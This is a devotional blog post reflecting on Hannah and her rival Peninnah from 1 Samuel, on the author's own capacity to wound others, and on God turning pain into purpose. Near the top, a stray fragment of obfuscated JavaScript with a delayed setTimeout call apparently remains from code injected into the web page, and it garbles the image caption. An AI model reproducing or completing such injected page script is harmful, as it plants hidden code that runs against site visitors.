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Home»Devotion»Oh the Provoking Pt.3

Oh the Provoking Pt.3

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15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ands in the air, praying, thanking, and surrendering to God.” width=”300″ height=”200″ />

High kicks in the air, and my fist swinging at nothing.  I can’t sit still.

This week has been rough, so many tears from women I love this week.

Life is uncertain, and no one can control the routes that life can suddenly take.  One minute your cozy by the fire, the next minute you can be body slammed into that same cozy fire.

The experience of heart break, betrayal, failure, fear, and life beyond your control can cause an unwanted visitor to knock at your door post like a solicitor.  The sign on the door says no soliciting, but uncertainty knocks anyway.

Go in Peace! Was the order Hannah received.  She obeyed and received a blessing that would manifest into a mighty plan for Gods people.

There were no guarantees given, but go in Peace was her first directive. The story is very clear on the prayer life of Hannah, but what ever happened to the taunting temptress?

Oh the provoking scandal.  What happened to Peninnah for throwing Hannah’s affliction in her face?

We see one is left in pain and another walking into a destiny.  I’m not sure why the passage, doesn’t clarify that both women walked away happily every after 1Samuel 1-3,  but let me try and take away some take aways from this passage.

Like the writer of 1Samuel, I was going to gloss over Peninnah, and keep doting on Hannah.  Then it dawned on me.  What about the women out there, whose hearts are broken?  Women who are hurting to the point of causing more pain or hurt on themselves or others.

I’m removing my judgy eyes for a second.  Just for a second, because I need my judgy eyes to somehow make me forget my own sin and personal set backs when I see people making mistakes or allowing brokenness to cause devastation.

You can keep your judgy eyes, but I’m going to change my lens for a moment.

I have been a Peninnah, in someone’s life.  I have allowed my brokenness to cause another pain.

Teeth clinched, I must admit.  Pain, arrogance, and sin has caused my heart to deceive me into hurting people.  And if your honest, you have too.  We can’t all be Hannah, none of us can mimic the life of a wife who lived in prayer and did not retaliate with evil words or vindictive actions.  Or maybe you can.

It’s like this, everyone can’t be Beyoncé, someone has to be a back up singer, or the hostess in the green room.

Some days I’m like praying Hannah, ready to shut my mouth and leave my babies in the church; other days I’m finger wagging, pain provoking Peninnah ready to chop someone down and settle in to a life, that probably isn’t Gods best for me.

I don’t make a habit of rewriting the Bible, I never would.  But let’s say for a moment, that Peninnah knew how much God loved her, and her ability to bear children was a sign of prosperity not regret and hostility? What if she focused on her prayer life instead of allowing her insecurity to unleash pain on someone else?

And get one thing straight, women of any age will do anything when it comes to a man.  Just turn on the news, ugly words are the least of what can happen between, two women and one man.  More on that later.  My judgy eyes are blurry right now.

Pain and suffering, is a guarantee in this lifetime for everyone.  No one circumvents the peril of life.  However, there is one who can take that pain and turn it into a purpose, prosperity, and a destiny.

Don’t mind me, I’m two cups of coffee in and thinking out loud.

What if Peninnah knew her value in Gods eyes? Would her spotlight in the Bible have been different, instead of her name appearing as another woman’s misery?  I’m sorry, if my story was chosen for the Bible, I wouldn’t want to be the woman taunting Samuels Mother.  I’m just saying.  We can’t all be Mary, Mother of Jesus or Hannah.  We have to be honest and face our real nature and tendencies that are not righteous.

Everyone will have or eventually encounter a mess! A shameful scandal or a painful trial that no one will understand.  People will think your crazy, drunk, or out of your mind for how you respond.  I have enjoyed my Peninnah moments in life, in my earthly thinking some have deserved my taunting and wrath.  On the other side of my journal, I have needed nothing more than to run to feet of Jesus and just cry.  Sometimes it’s those silent travailing cries that no one but the Holy Spirit can lay hold of.  Sometimes, the pain has to be so great that only a divine destiny can be the explanation.  And in the midst of our pain, we have to be honest with our real nature.

I don’t owe myself anything, I don’t owe you reading this blog anything.  I owe it to the next generation and to my daughters to process the truth of pain and how it can either be used for destiny or a disaster.

The cycle of pain caused by human hands will not stop, but who gets the final say in my life is important.  Processing this uncertainty of life can be frustrating, painful, and flat out terrifying.  Processing my junk is easier written in a journal or blogged.  However, one thing, I do know is when I see the face of Jesus, I don’t want my legacy on earth to be that of torturing another woman’s soul.  I can’t but he can.

Time for another cup of coffee, it’s going to be a long day.

Sojourn!

Memory Verse:

For it is God who works in you to will and to act according to his good purpose, Philippians 2:13 NIV

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